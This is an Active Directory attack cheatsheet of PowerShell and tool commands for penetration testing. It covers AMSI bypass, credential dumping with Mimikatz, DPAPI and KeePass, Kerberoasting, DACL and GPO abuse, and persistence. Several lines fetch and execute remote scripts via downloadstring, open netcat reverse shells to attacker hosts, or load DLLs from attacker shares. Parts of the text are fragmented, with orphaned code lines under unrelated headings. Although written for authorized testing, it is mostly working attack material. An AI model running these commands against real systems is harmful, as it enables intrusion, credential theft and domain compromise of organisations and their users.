Active Directory Security Cheatsheet
Active Directory Security Cheatsheet
This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB
boxes and labs, and other resources found on the web or through my experience. This
was originally a private page that I made public, so it is possible that I have
copy/paste some parts from other places and I forgot to credit or modify. If it the
case, you can contact me on my Twitter @BlWasp_.
I will try to put as many links as possible at the end of the page to direct to
more complete resources.
Misc
Internal audit mindmap
Insane mindmap by @M4yFly.
Bypass AMSI
#Downgrade PowerShell
powershell -v 2 -c "<...>"
#Classic
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;
( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}
{0}{5}" -
f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0
}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f
'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
#Base64
[Ref].[Link]('[Link].'+$
([[Link]]::[Link]([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQ
BsAHMA')))).GetField($
([[Link]]::[Link]([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQ
B0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
#On PowerShell 6
[Ref].[Link]('[Link]').GetField('s_amsiIn
itFailed','NonPublic,Static').SetValue($null,$true)
Decipher Secure-String
With the corresponding AES key
$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60,
119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String
"76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted =
[[Link]]::SecureStringToBSTR($secureObject)
$decrypted = [[Link]]::PtrToStringAuto($decrypted)
$decrypted
Port forwarding
We can contact a machine, and this one can contact another machine, but we can't
contact the second machine directly from our primary machine
On the "central" machine, all the hit on the port 80 or 4545 will be forward to the
connectaddress on the specified port :
#Forward the port 4545 for the reverse shell, and the 80 for the http server for
example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=[Link]
connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=[Link]
connectport=80
Initial Access
What to do when you are plugged on the network without creds.
NTLM authentication capture on the wire with Responder or Inveigh poisoning, maybe
in NTLMv1 ?
ARP poisoning with bettercap, can be used to poison ARP tables of targets and
receive authenticated requests normally destinated to other devices. Interesting
scenarios can be found here.
By sniffing everything on the wire with Wireshark, some secrets can be found with
PCredz.
Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and
extract the secrets:
python3 ./Pcredz -f [Link]
Kerberos auths can be relayed with krbrelayx to HTTP endpoints (ADCS, SCCM
AdminService API)
Allows you to bruteforce Kerberos on user accounts while indicating whether the
user account exists or not. Another advantage over smb_login is that it doesn't
correspond to the same EventId, thus bypassing potential alerts. The script can
work with 2 independent lists for users and passwords, but be careful not to block
accounts!
./kerbrute userenum -domain [Link] [Link]
Search for devices like printers, routers, or similar stuff with default creds
In case a printer (or something similar) has an LDAP account, but use the SASL
authentication family instead of SIMPLE, the classic LDAP passback exploitation
with a nc server will not be sufficient to retrieve the credentials in clear text.
Instead, use a custom LDAP server that only offer the weak PLAIN and LOGIN
protocols. This Docker permits to operate with weak protocols.
docker buildx build -t ldap-passback .
docker run --rm -ti -p 389:389 ldap-passback
CVEs
AD oriented
#Setup DNS
[Link] -u '[Link]\user1' -p password -a add -r
$TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP>
<DC_IP>
# Or, to target any computer
[Link] -u '[Link]\user1' -p password -a add -r
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
#Coerce
[Link] -u user1 -p password -d [Link]
$TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA [Link]
Zerologon (CVE-2020-1472)
The relay technique is preferable to the other one which is more risky and
potentially destructive. See in the link.
EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708)
The exploits in the Metasploit framework are good for these two CVEs.
#EternalBlue
msf6 exploit(windows/smb/ms17_010_psexec) >
#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
SMBGhost (CVE-2020-0796)
Be careful, this exploit is pretty unstable and the risk of BSOD is really
important. The exploit in the Metasploit framework is good for this CVE.
msf6 exploit(windows/smb/cve_2020_0796_smbghost) >
# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($[Link][8..15] +
[[Link]]::GetBytes([datetime]::[Link]())) -as [byte[]]
Set-ADUser -Identity $user -Replace
@{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose
MS14-068
[Link] '[Link]'/'user1':'password'@<DC_IP>
CVE-2023-23397
This CVE permits to leak the NTLM hash of the target as soon as the email arrives
in his Outlook mail box. This PoC generates a .msg file containing the exploit in
the pop-up sound attribute. It is up to you to send the email to the target.
[Link] [Link] --path '\\<attacker_IP>\'
Before sending the email, run Inveigh to intercept the NTLM hash.
For local privesc
CVE-2022-41057
KrbRelayUp
SpoolFool (CVE-2022-21999)
./[Link] -dll [Link]
#In PowerShell
Import-Module .\SpoolFool.ps1
Invoke-SpoolFool -dll [Link]
HiveNightmare (CVE-2021-36934)
./Invoke-HiveNightmare.ps1 -path ./HiveDumps
Domain Enumeration
Domain objects
Current domain
#PowerView
Get-NetDomain
#AD Module
Get-ADDomain
#Domain SID
Get-DomainSID
(Get-ADDomain).DomainSID
#Domain policy
(Get-DomainPolicy)."system access"
Another domain
#PowerView
Get-NetDomain -Domain [Link]
#AD Module
Get-ADDomain -Identity [Link]
Domain controller
Current domain
#PowerView
Get-NetDomainController
#AD Module
Get-ADDomainController
Users enumeration
List users
#PowerView
Get-NetUser
Get-NetUser -Identity user1
#AD Module
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity user1 -Properties *
User's properties
#AD Module
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType
*Property | select Name
Get-ADUser -Filter * -Properties * | select
name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
User hunting
Find machine where the user has admin privs
Find-LocalAdminAccess -Verbose
If the RPC or SMB ports are blocked, see Find-WMILocalAdminAccess.ps1 and Find-
PSRemotingLocalAdminAccess.ps1 to use WMI or PowerShell Remoting
Find local admins on the domain machines
Invoke-EnumerateLocalAdmin -Verbose
Check local admin access for the current user where the targets are found
Invoke-UserHunter -CheckAccess
Computers enumeration
#PowerView
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -FullData
#AD Module
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties
OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -
ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
Groups enumeration
Groups in the current domain
#PowerView
Get-NetGroup
Get-NetGroup -FullData
#AD Module
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
#AD Module
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
#AD Module
Get-ADGroupMember -Identity "<group>" -Recursive
#AD Module
Get-ADPrincipalGroupMembership -Identity "user1"
Shares / Files
Find shares on the domain
Invoke-ShareFinder -Verbose
Or with Snaffler
[Link] -s - [Link] ... (:
#Snaffle all the computers in the domain
./[Link] -d [Link] -c <DC> -s
#Send the result to a file
./[Link] -d [Link] -c <DC> -o [Link]
GPO enumeration
List of GPO in the domain
#PowerView
Get-NetGPO
#GPOs applied to a computer
Get-NetGPO -ComputerName <target>
#AD Module
Get-GPO -All #(GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\
[Link] #(Provides RSoP)
Computers within an OU
Get-NetComputer | ? { $_.DistinguishedName -match "OU=<OU_name>" } | select
DnsHostName
GPO applied on an OU / Read GPO from the GP-Link attribut from Get-NetOU
Get-NetGPO -GPOname "{<OU_ID>}"
Get-GPO -Guid <OU_ID> #(GroupPolicy module)
DACLs
All ACLs associated to an object (inbound)
Get-ObjectAcl -Identity user1 -ResolveGUIDs
(Get-ObjectAcl | Where-Object {$_.ObjectSid -match "<object_SID>"})
Outbound ACLs of an object
These are the rights the object has in the AD
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<target>"}
Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match "user1"}
Trusts
Map trusts
Invoke-MapDomainTrust
#AD Module
Get-ADTrust
Forest
Details about the current forest
#PowerView
Get-NetForest
Get-NetForest -Forest [Link]
#AD Module
Get-ADForest
Get-ADForest -Identity [Link]
#AD Module
(Get-ADForest).Domains
#AD Module
Get-ADForest | select -ExpandProperty GlobalCatalogs
Forest trusts
#PowerView
Get-NetForestTrust
Get-NetForestTrust -Forest [Link]
#AD Module
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
#Only collect from the DC, doesn't query the computers (more stealthy)
[Link] --CollectionMethod DCOnly
#Only collect user sessions and LocalGroup from computers, not the DC
[Link] --CollectionMethod ComputerOnly
Stealth usage
#Stealth collection soutions
[Link] --CollectionMethod ComputerOnly --Stealth
[Link] --ExcludeDomainControllers
Loop collection
Useful for user session collection for example. SharpHound will run the collection
regularly and output a new zip file after each loop.
#It will loop during 2h by default
[Link] --CollectionMethod Session --Loop
#Loop during 5h
[Link] --CollectionMethod Session --Loop --Loopduration [Link]
LAPS
Machine with LAPS enabled
MATCH (c:Computer {haslaps:true}) RETURN c
SOAPHound
A tool to gather LDAP information through the ADWS service with SOAP queries
instead of the LDAP one. Data can be displayed in BloodHound.
#Build cache
[Link] --showstats -c c:\temp\[Link]
#Collect data
[Link] -c c:\temp\[Link] --bhdump -o c:\temp\bloodhound-output
MSSQLHound
The MSSQLHound tool allows you to map MSSQL databases on the network, as well as
the links between them and the rights to them.
The output can then be ingested into BloodHound CE.
MSSQLHound.ps1 -OutputFormat BloodHound -UserID user1 -Password password -Domain
[Link] -DomainController <DC_IP> -InstallADModule On -
MakeInterestingEdgesTraversable On
AD Miner
AD Miner is another solution to display BloodHound data into a web based GUI. It is
usefull for its Smartest paths feature that permits to display the, sometimes
longer, but simpler compromission path (for example, when the shortest path implies
a ExecuteDCOM edge).
Local Privesc
PowerUp
#All checks
Invoke-AllChecks
#Get services where the current user can write to its binary path or change
arguments to the binary
Get-ModifiableServiceFile -Verbose
#DLL Hijacking
Find-ProcessDLLHijack
Find-PathDLLHijack
#Privesc: [Link]
Invoke-PrivEsc
With ShadowCreds
./[Link] full -m shadowcred --ForceShadowCred
With ADCS
./[Link] full -m adcs
DavRelayUp
Similar to KrbRelayUp, but relay from WebDAV to LDAP.
#Create a new computer account to perform RBCD
./[Link] -c
print r.status_code
print r.std_out
print r.std_err
Local Persistence
SharPersist
[Link] can be used for local persistence on a workstation.
Common userland persistences:
HKCU / HKLM Registry Autoruns
Scheduled Tasks
Startup Folder
#Convert command to execute to base64
$str = 'IEX ((new-object [Link]).downloadstring("[Link]
[[Link]]::ToBase64String([[Link]]::[Link]($str))
#Via registry key, first create a .exe beacon named [Link], then
.\[Link] -t reg -c "C:\ProgramData\[Link]" -a "/q /n" -k "hkcurun" -v
"Updater" -m add
LAPS persistence
To prevent a machine to update its LAPS password, it is possible to set the update
date in the futur.
Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-
admpwdexpirationtime"="232609935231523081"}
JEA persistence
Allows every commands to a user on a machine.
Set-JEAPermissions -ComputerName dc -SamAccountName user1 -Verbose
Lateral Movement
PowerShell remoting
From one computer to other ones
$sess = New-PSSession -ComputerName <computername>
Enter-PSSession -Session $sess
#Provide PS credentials
New-PSSession -Credential $cred
#To many computers
Invoke-Command -Credential $cred -ComputerName (Get-Content ./[Link])
Execute scripts
#Script block
Invoke-Command -Scriptblock {Get-Process} -ComputerName Server01, Server02
#With arguments
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01 -
ArgumentList DumpCreds
Item copy
Copy-Item -ToSession $sess -Path <local_path> -Destination <path_on_target>
#Task execution
schtasks /Run /S <target>.[Link] /TN "STCheck"
To decrypt the creds, the DPAPI master encryption key must be retrieved. The key
GUID can be retrieved with Mimikatz (the filed guidMasterKey is the one):
Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\
Credentials\<blob>"'
The GUID can be used to retrieve the key on the DC via a RPC call by providing the
full path:
Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\<user>\AppData\Roaming\
Microsoft\Protect\<user_SID>\<key_GUID> /rpc"'
SharpDPAPI is also a pretty good tool for DPAPI operations. Here in an elevated
context to decrypt machine credential files and vaults:
.\[Link] machinecredentials
.\[Link] machinevaults
Or here, to decrypt user's master keys with a domain backup key, and use them to
decipher credential files:
.\[Link] masterkeys /pvk:[Link]
.\[Link] credentials {<masterkey_GUID>}:<masterkey_hash>
{<masterkey2_GUID>}:<masterkey2_hash>
Lazagne
To retrieve maximum creds.
./[Link] all
Credentials in third party softwares
Many applications present on a computer can store credentials, like KeePass,
KeePassXC, mstsc and so on.
The more complete ThievingFox approach is presented in the Active Directory -
Python edition cheatsheet.
#KeePass with KeeThief
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose
#With FileSystemImage
$a = [[Link]]::CreateInstance([type]::GetTypeFromCLSID("2C941FC5-975B-
59BE-A960-9A2A262853A5", "<target_IP>"))
$[Link] = "\\<attacker_IP>\share\[Link]"
#With UpdateSession, this one only trigger the machine account authentication
$a = [[Link]]::CreateInstance([type]::GetTypeFromCLSID("4CB43D7F-7EEE-
4906-8698-60DA1C38F2FE"))
$[Link]().AddScanPackageService("XFORCERED","\\<attacker_IP>\
share\[Link]")
Bypass RunAsPPL
Check if RunAsPPL is enabled in the registry.
Look at HKLM\SYSTEM\CurrentControlSet\Control\Lsa
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:[Link] /remove
mimikatz # misc::skeleton
mimikatz # !-
NTLMv2
In case where only NTLMv2 is allowed, it will not be possible to crack the NTLM
hash, but it is possible to pass the challenge and provide the response. It is
possible to perform this attack with this modified version of Impacket. First, as
above:
#Dump the LSASS process with Mimikatz for example
#Parse the dump with Pypykatz
python3 -m pypykatz lsa minidump [Link] -p msv
#Paste the response to the Impacket prompt (possible that multiple response are
needed)
#With Rubeus
.\[Link] asktgt /domain:[Link] /user:Administrator /rc4:<nthash> /ptt
/opsec
.\[Link] asktgt /domain:[Link] /user:Administrator /aes256:<aes_key> /ptt
/opsec
Bypass Kerberos Double Hop
By default, Kerberos doesn't permise to run a PSSession into a PSSession (or
Invoke-Command into a PSSession, or whatever)
This can be bypassed with Mimikatz, by running a reverse shell in a Over-Pass-the-
Hash from a PSSession
$Contents = "[Link] -c iex ((New-Object
[Link]).DownloadString('[Link]
Out-File -Encoding Ascii -InputObject $Contents -FilePath ./[Link]
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user1 /domain:[Link]
/ntlm:<nthash> /run:.\[Link]"'
Token manipulation
Standard token impersonation
It is possible to use/impersonate tokens available on a machine
We can use Invoke-TokenManipulation from PowerSploit or Incognito (Meterpreter) for
token impersonation
Administrative privileges are required to adjust token privileges
List all tokens
#List all tokens on the machine
Invoke-TokenManipulation -ShowAll
#Token of a process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\
v1.0\[Link]" -ProcessId 500
The same tool exists in Rust (not totally the same, the logic is a little bit
different, looks at the README)
#List all the process and their token
./[Link] list
Client part (only available as Cobalt Strike BOF for the moment)
#List captured tokens
koh list
ADIDNS poisoning
How to deal with the Active Directory Integrated DNS and redirect the NTLM
authentications to us
By default, any user can create new ADIDNS records
But it is not possible to change or delete a record we are not owning
By default, the DNS will be used first for name resolution in the AD, and then NBT-
NS, LLMNR, etc
If the wilcard record (*) doesn't exist, we can create it and all the
authentications will arrive on our listener, except if the WPAD configuration
specifically blocks it.
Wildcard attack with Powermad
The char * can't be added via DNS protocol because it will break the request. Since
we are in an AD we can modify the DNS via LDAP. This is what Powermad do:
# get the value populated in the DNSRecord attribute of a node
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec
# creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes
New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP
# disable a node
Disable-ADIDNSNode -Node *
# remove a node
Remove-ADIDNSNode -Node *
Feature abuse
Jenkins
Go to [Link]
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
[Link](sout, serr)
[Link](1000)
println "out> $sout err> $serr"
Without admin access : add a build step in the build configuration, add "Execute
Windows Batch Command" and powershell –c <command>
powershell -c "iex (new-object
[Link]).downloadstring('[Link]
#Wait for the client to download the patch, not possible to control
./[Link] check /updateid:<GUID_from_create> /computername:<target>
Spoof the WSUS server and hijack the update if the updates are pushed through HTTP
and not HTTPS
#Find the WSUS server with the REG key
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
Now wait for update verification or manually trigger with a GUI access on the
machine.
Another attack presented in the AD-CS cheatsheet permits to perform an ESC8 from a
WSUS poisoning.
Pre-Windows 2000 Computers
Everything is explained here.
Domain Privesc
Kerberoast
Find users with SPN
#PowerView
Get-NetUser -SPN
#ActiveDirectory module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
ServicePrincipalName
Request ST
Add-Type -AssemblyName [Link]
New-Object [Link] -ArgumentList
"SPN/<target>.[Link]"
Rubeus
Rubeus can be used to perform all the attack, with more or less opsec
#Kerberoast all the kerberoastable accounts
.\[Link] kerberoast
#Kerberoast with RC4 downgrade even if the targets are AES enabled
#Tickets are easier to crack
.\[Link] kerberoast /tgtdeleg
Perform a U2U request. The goal is to obtain a ticket for the user than can be
decrypted to read the first block of plain text. This block will be used after to
form a crackable hash. Retrieve the value of "Block One Plain Text" in the output
./[Link] asktgs /u2u /ticket:[Link] /tgs:[Link] /nowrap
Then, reuse this value in the /desplaintext parameter with the describe command
./[Link] describe /desplaintext:<plain_text> /ticket:<previous_ST>
The Kerberoast Hash value in the output can be used with hashcat:
hashcat -a 3 -m 14000 <kerberoast_hash> -1 charsets/DES_full.charset --hex-
charset ?1?1?1?1?1?1?1?1
The obtained DES key can now be used to ask for a TGT for the target account.
To exploit this against a Domain Controller, the DC account UAC must be changed
from SERVER_TRUST_ACCOUNT (8192) needs to be changed to WORKSTATION_TRUST_ACCOUNT
(4096) (Owner or Write access against the DC account are needed). This attack can
be destructive. It is not recommanded to perform it in production. Additionally,
DES must be activated in the UAC.
Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR
@{'useraccountcontrol'=12288}
Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR
@{'useraccountcontrol'=2097152}
With MitM
If no principal without pre-authentication are present, it is still possible to
intercept the AS-REQ requests on the wire (with ARP spoofing for example), and
replay them to kerberoast.
WARNING : [Link] is only a PoC for the moment, be carefull with it in
prod environment !
./[Link] /listenip:<attacker_IP> /spns:[Link]
/targets:<target_IP_1>,<target_IP_2> /dcs:<DC_IP_1>,<DC_IP_2>
And the crack result (which is the DES session key) with the "Kirbi missing session
key" can be combined to build a valid TGT:
./[Link] kirbi /sessionkey:<cracked_session_key> /sessionetype:des
/kirbi:<kirbi_w/o_session_key> /nowrap
AS-REP Roasting
Enumerate users
#UPowerView:
Get-DomainUser -PreauthNotRequired -Verbose
#AD module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties
DoesNotRequirePreAuth
sAMAccountName modification:
The attacker uses their GenericWrite rights to change the sAMAccountName from
low_priv to nonexistentuser.
GPO replication:
The next time the GPO is applied (or via a manual command such as gpupdate /force),
the system resolves nonexistentuser to the SID of low_priv.
UPN hijacking
Initial configuration:
A GPP is configured to add a "Name-Only" member in UPN format:
existingusr@[Link].
A user named existingusr already exists in the domain with this UPN.
sAMAccountName modification:
The attacker changes the sAMAccountName of low_priv to match the UPN exactly:
existingusr@[Link](this format is permitted for a UPN).
GPO replication:
During resolution, LsaLookupNames first searches for an exact match in the
sAMAccountName field, before the UPN.
Result: low_priv is added to the Administrators group instead of existingusr.
Result: The next time GPP is applied, low_priv is added to the Administrators group
on the WS machine.
DACLs attacks
DACLs packages
Owns object
WriteDacl
GenericAll
GenericWrite
AllExtendedRights
WriteOwner
GenericWrite
Self
WriteProperty
AllExtendedRights
User-Force-Change-Password
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
On any objects
WriteOwner
With this rights on a user it is possible to become the "owner" (Grant Ownership)
of the account and then change our ACLs against it
Set-DomainObjectOwner -Identity <target> -OwnerIdentity user1 -verbose
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights
ResetPassword
WriteDacl
With this rights we can modify our ACLs against the target, and give us GenericAll
for example
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights All
In case where you have the right against a container or an OU, it is possible to
setup the Inheritance flag in the ACE. The child objects will inherite the parent
container/OU ACE (except if the object has AdminCount=1)
$Guids = Get-DomainGUIDMap
$AllObjectsPropertyGuid = $[Link]() | ?{$_.value -eq 'All'} | select -
ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity user1 -Right
ExtendedRight,ReadProperty,GenericAll -AccessControlType Allow -InheritanceType All
-InheritedObjectType $AllObjectsPropertyGuid
$OU = Get-DomainOU -Raw <OU_name>
$dsEntry = $[Link]()
$[Link] = 'Dacl'
$[Link]($ACE)
$[Link]()
On an user
WriteProperty
ShadowCredentials
[Link] add /target:<target> /domain:[Link] /dc:[Link] /path:C:\
path\to\[Link] /password:"Password123!"
Logon Script
#PowerView
Set-DomainObject <target> -Set @{'mstsinitialprogram'='\\ATTACKER_IP\[Link]'} -
Verbose
#AD module
Set-ADObject -SamAccountName '<target>' -PropertyName scriptpath -PropertyValue "\\
ATTACKER_IP\[Link]"
Targeted Kerberoasting
We can then request a ST without special privileges. The ST can then be
"Kerberoasted".
#Verify if the user already has a SPN
Get-DomainUser -Identity <target> | select serviceprincipalname
#Using ActiveDirectory module
Get-ADUser -Identity <target> -Properties ServicePrincipalName | select
ServicePrincipalName
User-Force-Change-Password
With enough permissions on a user, we can change his password
net user <target> Password123! /domain
#With PowerView
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object [Link]("domain\user1", $pass)
Set-DomainUserPassword "<target>" -AccountPassword $UserPassword -Credential $cred
On a computer
WriteProperty
ShadowCredentials
[Link] add /target:<target> /domain:[Link] /dc:[Link] /path:C:\
path\to\[Link] /password:Password123!
Kerberos RBCD
AllExtendedRights
ReadLAPSPassword
# With PowerView
Get-DomainComputer <target>.[Link] -Properties ms-mcs-AdmPwd,displayname,ms-
mcs-AdmPwdExpirationTime
ReadGMSAPassword
./[Link] --accountname gmsaAccount
On a RODC
GenericWrite
Obtain local admin access
Change the managedBy attribute value and add a controlled user. He will
automatically gain admin rights.
Retrieve Tiers 0 account's NT hashes
It is possible to modify the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup
lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC
Golden Tickets for them to access other parts of the AD.
#Add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-
RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication
Group,CN=Users,DC=domain,DC=local',
'CN=Administrator,CN=Users,DC=domain,DC=local')}
WriteProperty
WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is
sufficient to modify them. Obtain the krbtgt_XXXXX key is still needed to forge
RODC Golden Ticket.
#Add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-
RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication
Group,CN=Users,DC=domain,DC=local',
'CN=Administrator,CN=Users,DC=domain,DC=local')}
On a group
WriteProperty/AllExtendedRights/GenericWrite Self
With one of this rights we can add a new member to the group
net group <target_group> user1 /add
# With PowerView
Add-DomainGroupMember -Identity '<target_group>' -Members 'user1'
On a GPO
WriteProperty on a GPO
We can create an "evil" GPO with a scheduled task for example
#With PowerView
New-GPOImmediateTask -Verbose -Force -TaskName 'Update' -GPODisplayName 'weakGPO' -
Command cmd -CommandArguments "/c net localgroup administrators user1 /add"
#With SharpGPOAbuse
./[Link] --AddComputerTask --TaskName "Update" --Author Administrator --
Command "[Link]" --Arguments "/c /tmp/[Link] attacker_ip 4545 -e powershell" --
GPOName "weakGPO"
After GPO refresh on the OU's machines, when the machines will restart the payload
will be executed
Manage Group Policy Links
This section is presented in the Active Directory - Python edition cheatsheet.
On an OU
GenericWrite
With at least GenericWrite on an OU, it it possible to perform the same attacks
presented in the GPO section with Manage Group Policy Links.
Create msDS-DelegatedManagedServiceAccount or Create all child objects
This is the BadSuccessor attack, presented in great details here. At least one
Domain Controller must be a Windows Server 2025 to perform this attack (this
permits to work with dMSA accounts).
# With BadSuccessor.ps1
BadSuccessor -mode check -Domain [Link]
BadSuccessor -mode exploit -Path <OU_DN> -Name "dMSA_name" -DelegatedAdmin "user1"
-DelegateTarget "Administrator" -domain "[Link]"
# With SharpSuccessor
.\[Link] add /impersonate:Administrator /path:<OU_DN> /account:user1
/name:"dMSA_name"
# Obtain a TGT
# Request a TGT as the current user context, in this case user1
.\[Link] tgtdeleg /nowrap
# Then use that TGT to impersonate the dMSA account
.\[Link] asktgs /targetuser:dMSA_name$ /service:krbtgt/[Link] /opsec
/dmsa /nowrap /ptt /ticket:<TGT> /outfile:[Link]
On the domain/forest
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
We can DCSync
DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set
It is possible to realize a DirSync attack, as presented here.
Import-Module ./DirSync.psm1
Account Operators
The members of this group can add and modify all the non admin users and groups.
Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to
add an user to them, and read the LAPS admin password. They also can manage the
Server Operators group members which can authenticate on the DC.
Another possibility, is to configure an AORTA attack, presented in this section.
Add user to LAPS groups
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -
Domain "[Link]"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -
Domain "[Link]"
DnsAdmins
It is possible for the members of the DNSAdmins group to load arbitrary DLL with
the privileges of [Link] (SYSTEM).
In case the DC also serves as DNS, this will provide us escalation to DA.
Need privileges to restart the DNS service.
Configure the DLL
Needs RSAT DNS
#With [Link]
dnscmd <target> /config /serverlevelplugindll \\<attacker_IP>\dll\[Link]
Restart DNS
sc \\<target> stop dns
sc \\<target> start dns
Schema Admins
These group members can change the "schema" of the AD. It means they can change the
ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the
group object, only the futur group will be affected, not the ones that are already
present.
Change ACLs on the groups
Give full rights to a user on the groups
$creds = New-Object [Link] ("[Link]\
user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Set-ADObject -
Identity "CN=group,CN=Schema,CN=Configuration,DC=domain,DC=local" -Replace
@{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)
(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)
(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-854239470-2015502385-3018109401-52104)';}
-Verbose -server [Link] -Credential $creds
When a new group is created we can add any user to it with the user who has full
rights
$User = Get-ADUser -Identity "CN=user1,CN=Users,DC=domain,DC=local"; $Group = Get-
ADGroup -Identity "CN=new_admingroup,CN=Users,DC=domain,DC=local"; $creds = New-
Object [Link] ("[Link]\user1", (ConvertTo-
SecureString "Password" -AsPlainText -Force)); Add-ADGroupMember -Identity $Group -
Members $User -Server [Link] -Credential $creds
Backup Operators
Can generally log in on any machines of the domain.
File system backup
Can backup the entire file system of a machine (DC included) and have full
read/write rights on the backup
To backup a folder :
robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\[Link] /E
Retrieve the backup with robocopy and send the NTDS file in the current folder :
robocopy /b E:\Windows\ntds . [Link]
Then retrieve the SYSTEM registry hive to decrypt and profit reg save hklm\system
c:\temp\system
Key Admins
Members of this group can perform Shadow Credentials attacks against any objects,
including the domain controllers.
AD Recycle Bin
Members of this group can recover deleted objects from the Active Directory, just
like in a recycle bin for files, when the feature is enabled. These objects can
sometimes have interesting properties.
Enumerate deleted objects
To find all the deleted objects and their properties:
Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -
includeDeletedObjects -property *
Restore an object
Get-ADObject -Filter {displayName -eq "user1"} IncludeDeletedObjects | Restore-
ADObject
Authentication capture, coerce and relay
Capture, coerce and leak
Different ways to obtain and catch NTLM authentications and retrieve a NTLM
response.
Responder / Inveigh
Change the authentication challenge to 1122334455667788 in the Responder conf file
in order to obtain an easily crackable hash if NTLMv1 is used.
sed -i 's/ Random/ 1122334455667788/g' Responder/[Link]
Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS
spoofing, etc):
